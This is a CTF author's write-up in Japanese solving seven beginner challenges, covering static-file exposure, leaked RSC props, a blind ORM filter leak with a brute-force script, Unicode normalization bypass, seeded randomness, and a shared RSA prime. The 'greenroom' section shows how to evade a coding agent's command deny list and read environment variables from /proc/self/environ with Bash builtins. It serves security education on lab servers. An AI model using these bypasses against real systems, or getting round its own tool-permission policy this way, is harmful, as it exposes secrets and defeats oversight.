SECCON Beginners CTF 2026 portfolio, bookshelf, footnote, omikuji, viewer, greenroom, twins 作問者writeup
SECCON Beginners CTF 2026で出題した portfolio, bookshelf, footnote, omikuji, viewer, greenroom, twins の作問者writeupです。
各問題のジャンル、難易度はこちらです。
| 問題名 | ジャンル | 難易度 | solve数 |
|---|---|---|---|
| portfolio | web | beginner | 531 |
| bookshelf | web | easy | 494 |
| footnote | web | medium | 360 |
| omikuji | misc | beginner | 416 |
| viewer | misc | easy | 390 |
| greenroom | misc | hard | 266 |
| twins | crypto | beginner | 418 |
他の作問者の方々のwriteupもぜひご覧ください。
[web] portfolio
問題文はこちらです。solve数は531でした。
はじめて作ったポートフォリオサイトを公開しました。
http://portfolio.beginners.seccon.games:33455
公開されているディレクトリに、見せてはいけないファイルを置いてしまうという、Webサイト制作をはじめた頃にやってしまいそうなミスを題材にしました。CTFのWeb問題に初めて取り組む方でも、ページを見て、ソースを読んで、順番に確認するとFLAGにたどり着けるような問題を目指しました。
まずは問題サーバにアクセスしてみます。トップページにはポートフォリオサイトのような画面が表示され、管理ページへのリンクがあります。

管理ページにアクセスしてみると、403 Forbidden が返ってきます。
$ curl -i http://portfolio.beginners.seccon.games:33455/admin
HTTP/1.1 403 Forbidden
...
配布ファイルの app/index.js を確認します。
const path = require("path");
const express = require("express");
const app = express();
const PORT = process.env.PORT || 33455;
const publicDir = path.join(__dirname, "public");
app.use(express.static(publicDir));
app.get("/admin", (req, res) => {
res.status(403).send(`<!doctype html>
...
`);
});
/admin は確かに 403 を返すようになっています。
一方で、public/ 配下は express.static で静的ファイルとして配信されています。
配布ファイルの構成を見ると、public/ 配下に admin.html があります。
app/public/index.html
app/public/admin.html
app/public/styles.css
app/public/flag.txt
/admin は拒否されますが、/admin.html は静的ファイルとして直接読めそうです。
$ curl http://portfolio.beginners.seccon.games:33455/admin.html
<!doctype html>
<html lang="ja">
...
<p>flag is in <code>/flag.txt</code></p>
...
</html>
admin.html には flag is in /flag.txt と書かれています。
そのため、/flag.txt にアクセスします。
$ curl http://portfolio.beginners.seccon.games:33455/flag.txt
ctf4b{my_f1r57_p0r7f0l10_mistake}
無事にFLAGが取得できました!
[web] bookshelf
問題文はこちらです。solve数は494でした。
書籍レビューサイトを公開しました。
http://bookshelf.beginners.seccon.games:33456
React Server Componentsを題材にした問題です。Next.js App RouterではReact Server Componentsが標準で使われており、Server ComponentとClient Componentを組み合わせてアプリケーションを作れます。React Server Componentsの周辺は、Next.jsなどの実装や関連する脆弱性の話題でも見かけることがあり、以前からそれを題材とした問題を作りたいと思っていました。
自分はNext.jsやReact Server Componentsにすごく慣れているわけではないのですが、触ってみると、バックエンド側の処理とクライアント側の処理が近いソースコード内に混在しているのが新鮮でした。今回は、"use client" を使うときにやってしまいそうな、Server ComponentからClient Componentへ渡す値のミスを題材にしています。
まず問題サーバを開くと、小さな書籍レビューサイトが表示されます。書籍一覧から詳細ページへ移動できます。

/books/2 を開いてみます。
http://bookshelf.beginners.seccon.games:33456/books/2
画面上にはタイトル、著者、説明文、評価などが表示されています。FLAGらしきものは見当たりません。

配布ファイルを確認します。app/books/[id]/page.tsx には、書籍データが定義されています。
const books: Book[] = [
{
id: "1",
title: "The Little Web",
author: "Alice",
description: "A gentle introduction to web applications.",
rating: 4,
},
{
id: "2",
title: "Flight Book",
author: "Bob",
description: "Notes about modern React rendering.",
rating: 5,
internalNote: process.env.FLAG ?? "ctf4b{dummy_flag}",
},
{
id: "3",
title: "HTTP Field Guide",
author: "Carol",
description: "A small book about requests and responses.",
rating: 3,
},
];
/books/2 のデータだけに internalNote があり、そこに process.env.FLAG が入っています。
同じファイルの下の方を見ると、book オブジェクトをそのまま BookDetail に渡しています。
export default async function BookPage({ params }: BookPageProps) {
const { id } = await params;
const book = books.find((item) => item.id === id);
if (!book) {
notFound();
}
return (
<section>
<Link href="/books" className="back-link">
書籍一覧に戻る
</Link>
<BookDetail book={book} />
</section>
);
}
次に app/books/[id]/BookDetail.tsx を確認します。
"use client";
export type Book = {
id: string;
title: string;
author: string;
description: string;
rating: number;
internalNote?: string;
};
type BookDetailProps = {
book: Book;
};
export default function BookDetail({ book }: BookDetailProps) {
return (
<article className="detail-panel">
<p className="book-number">書籍 {book.id}</p>
<h1>{book.title}</h1>
<p className="muted">著者: {book.author}</p>
<p className="description">{book.description}</p>
...
</article>
);
}
先頭に "use client" があるため、BookDetail はClient Componentです。Client Componentへpropsとして渡す値はブラウザ側へ送られるため、画面上で internalNote を表示していなくても、book オブジェクトに含まれる internalNote もレスポンス内に含まれてしまいます。
もし BookDetail がServer Componentのままであれば、internalNote をHTMLに出力したり、別のClient Componentへ渡したりしない限り、この値はブラウザ側へ送られません。今回は BookDetail に "use client" が付いており、book オブジェクト全体をClient Componentのpropsとして渡していることが問題になります。
そのため、ページのレスポンスやDevToolsのNetworkタブで internalNote や ctf4b{ を検索するとFLAGを見つけることができます。

curlでも確認できます。
$ curl -s http://bookshelf.beginners.seccon.games:33456/books/2 | grep -o 'ctf4b{[^}]*}'
ctf4b{r5c_pr0p5_4r3_n0t_s3cr3t}
無事にFLAGが取得できました!
[web] footnote
問題文はこちらです。solve数は360でした。
記事には、著者だけが知っている小さな footnote が残されているようです。
http://footnote.beginners.seccon.games:44566
PortSwigger ResearchのTop 10 Web Hacking Techniques of 2025で紹介されていた「ORM Leaking More Than You Joined For」が元ネタです。
ORMを使うと、昔ながらのSQLインジェクションは起きにくくなる場合があります。一方で、ORMの便利な機能をユーザー入力からそのまま組み立てると、SQL文字列を直接壊さなくても、非公開の値を検索条件として使えてしまうことがあります。そこが面白かったので問題にしました。
まず問題サーバにアクセスすると、記事検索サービスが表示されます。

普通に検索してみます。
$ curl 'http://footnote.beginners.seccon.games:44566/api/articles/search?q=図書室'
{"count":1,"articles":[...]}
レスポンスには count と記事一覧が含まれます。著者プロフィールの公開情報は返ってきますが、非公開メモのような値は返ってきません。
配布ファイルの src/server.ts を確認します。
const articleSelect = {
id: true,
title: true,
body: true,
author: {
select: {
profile: {
select: {
displayName: true,
bio: true,
},
},
},
},
};
displayName と bio はレスポンスに含まれますが、secretMemo は含まれていません。
次に検索APIの処理を確認します。
app.get("/api/articles/search", searchLimiter, async (req, res) => {
try {
const filterWhere = isAdvancedSearch({
field: req.query.field,
op: req.query.op,
value: req.query.value,
})
? buildAdvancedWhere({
field: req.query.field,
op: req.query.op,
value: req.query.value,
})
: buildKeywordWhere(req.query.q);
const articles = await prisma.article.findMany({
where: {
AND: [{ published: true }, filterWhere],
},
orderBy: { id: "asc" },
select: articleSelect,
});
res.json({
count: articles.length,
articles,
});
} catch (error) {
...
}
});
q を使う通常検索とは別に、field, op, value を使う高度検索が実装されています。Prismaの where を使ったフィルタリングに、ユーザー入力を反映している部分です。
src/filter.ts を確認します。
const ALLOWED_FILTER_ROOTS = new Set(["title", "body", "author"]);
const ALLOWED_OPERATORS = new Set(["eq", "contains", "startsWith"]);
const TO_ONE_RELATIONS = new Set(["author", "profile"]);
function validateFilterField(field: string) {
const parts = field.split(".");
const root = parts[0];
if (!root || !ALLOWED_FILTER_ROOTS.has(root)) {
throw new InvalidFilterError();
}
for (const part of parts) {
if (!FIELD_SEGMENT.test(part)) {
throw new InvalidFilterError();
}
}
}
ここで field の検証が行われていますが、許可しているかどうかを見ているのはroot fieldだけです。
そのため、profile.secretMemo のようにrootが profile だと拒否されます。
$ curl 'http://footnote.beginners.seccon.games:44566/api/articles/search?field=profile.secretMemo&op=startsWith&value=0'
{"error":"invalid filter"}
一方で、rootが author であれば、その先に profile.secretMemo を指定できます。この文字列はアプリ側でドット区切りのパスとして分解され、Prismaのネストされたwhere に変換されます。
$ curl 'http://footnote.beginners.seccon.games:44566/api/articles/search?field=author.profile.secretMemo&op=startsWith&value=0'
{"count":0,"articles":[]}
このレスポンスだけでは何も分からないように見えます。しかし、secretMemo を検索条件に使えていること自体が重要です。
たとえば startsWith を使うと、「secretMemo がこの文字列から始まる記事が存在するか」を count で確認できます。value=0, value=1, … のように1文字ずつ試して、count が0より大きくなるものを探すと、secretMemo の先頭1文字が分かります。次に value=4a, value=4b のように、分かった文字に1文字ずつ足して試していくことで、secretMemo 全体を少しずつ復元できます。
prisma/seed.ts を確認すると、adminの secretMemo は12桁のhex文字列として生成されています。
function getSecretMemo() {
const configured = process.env.SECRET_MEMO;
if (configured === undefined || configured === "") {
return randomBytes(6).toString("hex");
}
if (!/^[0-9a-f]{12}$/.test(configured)) {
throw new Error("SECRET_MEMO must be 12 lowercase hex characters");
}
return configured;
}
つまり、各桁で 0123456789abcdef を試せばよさそうです。
import requests
BASE = "http://footnote.beginners.seccon.games:44566"
HEX = "0123456789abcdef"
memo = ""
for _ in range(12):
for c in HEX:
candidate = memo + c
r = requests.get(
f"{BASE}/api/articles/search",
params={
"field": "author.profile.secretMemo",
"op": "startsWith",
"value": candidate,
},
timeout=5,
)
r.raise_for_status()
data = r.json()
if data["count"] > 0:
memo = candidate
print(memo)
break
else:
raise RuntimeError("not found")
r = requests.post(f"{BASE}/api/claim", json={"memo": memo}, timeout=5)
r.raise_for_status()
print(r.json()["flag"])
実行すると、secretMemo が1文字ずつ復元されます。
$ python3 solve.py
4
4a
4af
...
4af2c09d8e13
ctf4b{r00t_f13lds_4r3_n0t_en0ugh}
無事にFLAGが取得できました!
[misc] omikuji
問題文はこちらです。solve数は416でした。
名前を入れておみくじを引きましょう。結果を全部当てられますか?
nc omikuji.beginners.seccon.games 33457
乱数についての問題です。乱数という名前でも、プログラムでよく使われる疑似乱数は、seedが同じであれば同じ値の列を生成します。今回は、その性質を使っておみくじの結果を予測する問題にしました。
まず接続してみます。
$ nc omikuji.beginners.seccon.games 33457
=== Omikuji ===
Tell me your name, and I will draw your fortune.
name > hoge
Welcome, hoge!
Guess the next 5 omikuji numbers to get the flag.
guess 1 > 1
wrong
名前を入力すると、5回数字を当てる必要があるようです。
配布ファイルの main.py を確認します。
print("=== Omikuji ===")
print("Tell me your name, and I will draw your fortune.")
name = read_limited("name > ", MAX_NAME_LENGTH)
random.seed(name)
print(f"Welcome, {name}!")
print(f"Guess the next {ROUNDS} omikuji numbers to get the flag.")
for i in range(ROUNDS):
x = random.randint(1, 1000000)
try:
guess = int(read_limited(f"guess {i + 1} > ", MAX_GUESS_LENGTH))
except ValueError:
print("wrong")
exit()
if guess != x:
print("wrong")
exit()
print(f"Congratulations! Here is your flag: {FLAG}")
入力した名前が、そのまま random.seed(name) に渡されています。
Pythonの random は疑似乱数生成器なので、同じseedを与えると同じ乱数列が生成されます。
つまり、サービスに送る名前と同じ文字列を使って、手元でも random.seed() を実行すれば、5回の random.randint(1, 1000000) の結果を再現できます。
import random
name = "hoge"
random.seed(name)
print(name)
for _ in range(5):
print(random.randint(1, 1000000))
実行すると、hoge に対応する5個の値が分かります。
$ python3 solve.py
hoge
342042
246190
401986
352872
821335
この値をそのままサービスに送信します。
$ nc omikuji.beginners.seccon.games 33457
=== Omikuji ===
Tell me your name, and I will draw your fortune.
name > hoge
Welcome, hoge!
Guess the next 5 omikuji numbers to get the flag.
guess 1 > 342042
guess 2 > 246190
guess 3 > 401986
guess 4 > 352872
guess 5 > 821335
Congratulations! Here is your flag: ctf4b{0m1kuj1_15_d373rm1n15t1c}
無事にFLAGが取得できました!
[misc] viewer
問題文はこちらです。solve数は390でした。
表示できるファイルを選んでください。
nc viewer.beginners.seccon.games 33458
Unicode Normalizationを題材にした問題です。PortSwigger ResearchのTop 10 Web Hacking Techniques of 2025で紹介されていた「Lost in Translation: Exploiting Unicode Normalization」を見て、Unicode正規化にこんな罠があるのか…と思ったので問題にしました。
まず接続してみます。
$ nc viewer.beginners.seccon.games 33458
__ ___
\ \ / (_) _____ _____ _ __
\ \ / /| |/ _ \ \ /\ / / _ \ '__|
\ V / | | __/\ V V / __/ |
\_/ |_|\___| \_/\_/ \___|_|
available files:
- readme.txt
- hello.txt
filename > readme.txt
Welcome to viewer!
readme.txt や hello.txt を読むことができるファイルビューアーのようです。
flag.txt を読もうとするとブロックされます。
$ nc viewer.beginners.seccon.games 33458
...
filename > flag.txt
blocked
配布ファイルの main.py を確認します。
def resolve_path(filename):
normalized = unicodedata.normalize("NFKC", filename)
if normalized != os.path.basename(normalized):
return None, "invalid path"
if normalized not in ALLOWED_FILES:
return None, "file not found"
path = os.path.normpath(os.path.join(FILES_DIR, normalized))
if os.path.commonpath([FILES_DIR, path]) != FILES_DIR:
return None, "invalid path"
return path, None
def main():
...
filename = read_limited("filename > ", MAX_FILENAME_LENGTH)
if "flag" in filename:
print("blocked")
return
path, error = resolve_path(filename)
ここでは、入力に flag が含まれているかを先に確認しています。
その後で、resolve_path() の中で unicodedata.normalize("NFKC", filename) が実行されます。
NFKCでは、全角英字がASCII英字に正規化されます。 Pythonで確認してみます。
$ python3
>>> import unicodedata
>>> unicodedata.normalize("NFKC", "flag.txt")
'flag.txt'
flag.txt は、見た目は flag.txt に近いですが、検査時点ではASCIIの flag という文字列を含みません。
そのため if "flag" in filename: は通過します。
その後、NFKCで flag.txt に正規化されるため、最終的には flag.txt を読むことができます。
$ nc viewer.beginners.seccon.games 33458
__ ___
\ \ / (_) _____ _____ _ __
\ \ / /| |/ _ \ \ /\ / / _ \ '__|
\ V / | | __/\ V V / __/ |
\_/ |_|\___| \_/\_/ \___|_|
available files:
- readme.txt
- hello.txt
filename > flag.txt
ctf4b{un1C0dE_N0rMal12a710n_15_7r1CKy}
無事にFLAGが取得できました!
他にも、NFKCで flag.txt に正規化される文字を使うと同じように読めます。
flag.txt
flag.txt
𝖋lag.txt
𝐟𝐥𝐚𝐠.txt
ⓕⓛⓐⓖ.txt
[misc] greenroom
問題文はこちらです。solve数は266でした。
あなたはコーディングエージェントです! 制約を回避して環境変数を読んでください!
nc greenroom.beginners.seccon.games 46777
コーディングエージェントが、承認を得ずに処理を進めるために制約を回避して物事を達成しようとする振る舞いから着想を得た問題です。 典型的な確認コマンドがdenyされている状況で、Bashの組み込みコマンドだけを使って環境変数を読む問題にしました。
最初は mapfile というBashの組み込みコマンドをあまり知らなかったのですが、調べるとNUL区切りのデータを扱うのにちょうどよく、問題の題材として面白そうでした。
まず接続してみます。
$ nc greenroom.beginners.seccon.games 46777
== greenroom ==
The previous coding agent ran `env`.
The user was not happy.
Some Bash tool calls are now denied.
Submit one Bash command.
> env
[policy] denied: "env" is not allowed
env はdenyされます。ほかにも printenv, cat, tr, grep, sed, awk, python など、環境変数やファイルの確認によく使うコマンドがdenyされています。
配布ファイルの main.py を確認します。
DENY_TOKENS = [
"$(",
"`",
"|",
"<(",
">(",
"/usr",
]
DENIED_COMMANDS = {
"env",
"printenv",
"cat",
"tr",
"grep",
"sed",
"awk",
"od",
"strings",
"xxd",
"dd",
"base64",
"python",
"python3",
...
}
cat /proc/self/environ | tr '\0' '\n' のような典型的な方法は、cat, tr, pipeがdenyされるため使えません。
また、この問題ではFLAGが環境変数の値ではなくkey側に入っています。
def build_child_env():
return {
"PATH": "/app/bin",
"HOME": "/tmp",
"LC_ALL": "C",
"TERM": "dumb",
"AGENT": "greenroom",
"MODE": "sandbox",
FLAG: "x",
}
そのため、$FLAG のような普通の環境変数参照では読めません。
実際、printf は使えますが、$FLAG は空になります。
> printf '%s\n' "$FLAG"
Linuxでは、/proc/self/environ から現在のプロセスの環境変数を読むことができます。今回の場合は、入力したコマンドを実行しているBashプロセス自身の環境変数を読むことになります。
ただし、環境変数は改行区切りではなくNUL区切りです。
ここで使えるのがBashの組み込みコマンドの mapfile です。
mapfile は -d でdelimiterを指定できます。-d '' を指定すると、NULをdelimiterとして扱えます。
$ nc greenroom.beginners.seccon.games 46777
== greenroom ==
The previous coding agent ran `env`.
The user was not happy.
Some Bash tool calls are now denied.
Submit one Bash command.
> mapfile -d '' -t A</proc/self/environ;printf '%s\n' "${A[@]}"
PATH=/app/bin
HOME=/tmp
LC_ALL=C
TERM=dumb
AGENT=greenroom
MODE=sandbox
ctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}=x
FLAGが環境変数のkeyとして表示されました。
read -d '' を使っても同じようにNUL区切りで読むことができます。
while IFS= read -r -d '' x;do printf '%s\n' "$x";done</proc/self/environ
この問題では、使えないコマンドを見て終わりではなく、Bashの組み込みコマンドや /proc の性質を組み合わせる必要がありました。
普段は env や cat を使ってしまうので、こういう制約があると、シェルの機能を見直すきっかけになるなと思いました。
[crypto] twins
問題文はこちらです。solve数は418でした。
RSAの公開鍵を2つ作ってみました!
RSA暗号について一定の理解があれば解けるような問題にしたいと思って作りました。
RSA暗号の問題では、まず n, e, c が何を表しているかを確認し、n をどうにかして素因数分解できないかを考えることが多いです。
配布ファイルの output.txt を確認します。
n1 = 113880125198864950563107027313262858562579845169040599843244908620910863016550189657973462371771316792957786246501938664222083662393621306146341461444713328361747021647851967048322504706224619037767570006428934894715790606442824792889611101483284328574709759135027127435315296666269676354975141117473271303321
n2 = 105276345432465274963720722422774590917691220487589268040722899198110433602948101271470062639646432750400949217388976818212349789839198599553407451456746354799769561549120245004545841153155597677559555183979871182443047548869983267425969009743794827412550143572792952463128292049048381620452468992949469524739
e = 65537
c = 523724402186281757672504163102213938199531542190538176894240854156187650675308897872801979844253859168041096691538816812473265236344118603761747753962742078327527050567766258109597769320400583993445607364727303667121730062147288257549149953588914416172323461076634838540811797057063184864794352115558365151
n1 と n2 という2つのRSAの公開鍵で使われる値が配布されています。RSAでは、この n は2つの素数の積として作られます。
次に chall.py を確認します。
p = getPrime(512)
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1
n2 = p * q2
e = 65537
c = pow(m, e, n1)
n1 = p * q1、n2 = p * q2 となっており、同じ素数 p が使い回されています。
この場合、n1 と n2 はどちらも p で割り切れます。そのため、gcd(n1, n2) を計算すると、共通している素因数 p が得られます。gcd は最大公約数のことで、2つの数の両方を割り切れる最大の数を求める計算です。
p が分かれば、n1 は p * q1 なので q1 = n1 // p で求められます。
あとは通常のRSAと同じように、復号に使う秘密指数 d を求めて復号します。
from math import gcd
n1 = 113880125198864950563107027313262858562579845169040599843244908620910863016550189657973462371771316792957786246501938664222083662393621306146341461444713328361747021647851967048322504706224619037767570006428934894715790606442824792889611101483284328574709759135027127435315296666269676354975141117473271303321
n2 = 105276345432465274963720722422774590917691220487589268040722899198110433602948101271470062639646432750400949217388976818212349789839198599553407451456746354799769561549120245004545841153155597677559555183979871182443047548869983267425969009743794827412550143572792952463128292049048381620452468992949469524739
e = 65537
c = 523724402186281757672504163102213938199531542190538176894240854156187650675308897872801979844253859168041096691538816812473265236344118603761747753962742078327527050567766258109597769320400583993445607364727303667121730062147288257549149953588914416172323461076634838540811797057063184864794352115558365151
p = gcd(n1, n2)
q1 = n1 // p
phi = (p - 1) * (q1 - 1)
d = pow(e, -1, phi)
m = pow(c, d, n1)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(flag.decode())
実行します。
$ python3 solve.py
ctf4b{tw1n_pr1m35_4r3_n0t_1nd3p3nd3nt}
無事にFLAGが取得できました!
RSAでは、異なる鍵で同じ素数を使い回してはいけません。
一見すると n1 と n2 は別々の大きな数ですが、共通する素因数があると、gcd だけで素因数分解できてしまいます。
おわりに
SECCON Beginners CTF 2026は楽しめましたでしょうか? 初めてCTFに参加された方は、解けなかった問題について、作問者や他の参加者の方のWriteupを読むと、新たな学びが得られることと思います。自分が今回作成した問題が皆さんの何らかの学びやきっかけに繋がっていれば嬉しいです。
生成AIを使って問題に取り組んだ方も多かったと思います。AIが解いてくれるのは便利ではありますが、FLAGだけ取得できても、なぜ解けたのかを理解できていないと、CTFで得られるものは少なくなってしまいます。ぜひAIが取得したFLAGをそのまま提出して終わりにせず、あとから自分の言葉で解法を説明できるか確認してみてください。そこまでやると、CTFで得られるものがかなり増えると思います。